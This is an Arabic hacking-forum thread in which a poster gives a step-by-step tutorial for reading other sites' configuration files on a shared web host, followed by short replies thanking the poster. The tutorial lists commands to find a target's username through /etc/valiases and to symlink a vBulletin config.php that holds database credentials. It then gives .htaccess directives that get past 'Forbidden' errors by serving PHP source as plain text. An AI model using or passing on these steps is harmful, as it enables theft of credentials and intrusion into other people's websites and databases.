Call Any Config + Bypass Forbidden

[Injection]

آلسلآم عليكم ورحمه الله وبركاته

بعد القطعة الطويلة نرجع بدرس جديد بآذن آلله ,

أول شيء آعمل مجلد بآسم [ Hamad ] ,

نفذ الامر

كود PHP:

Mkdir Hamad 


بعد ذالك نستخرج يوزر الموقع المستهدف ..

كود PHP:

ls -la /etc/valiases/hamad.com 


غير الرابط الى الموقع المستهدف بعد ذالك مثلا اليوزر

كود PHP:

Hamad 


نسحب الكونفق عن طريق الامر التالي

كود PHP:

ln -s /home/sec4/public_html/vb/includes/config.php a.txt 


بعد ذالك نحاول نستعرض الملف [ Forbidden ] الحل ارفع الهاتكس التالي

كود PHP:

Options +FollowSymLinks 
DirectoryIndex Sux.html 
Options +Indexes 
AddType text/plain .php 
AddHandler server-parsed .php 
AddType text/plain .html 


تم التخطي اتمنه الشرح كان وآضح

Special Thankss to : vbspiders & v4-team & Black Hat Team

[Cyber Code]

good work , keep going

[Injection]

اقتباس المشاركة الأصلية كتبت بواسطة Cyber Code good work , keep going

Thankss ,,

[Dr.Unkn0wn]

GooD Work Man, Keep It On Fire ;)

[kawihacker]

لاهنت ع الطرح

[Dr..ViRuS]

مشكور اخوي شرح جميل لاهنت على الطرح

[Injection]

آهلا وسهلا اخواني منورين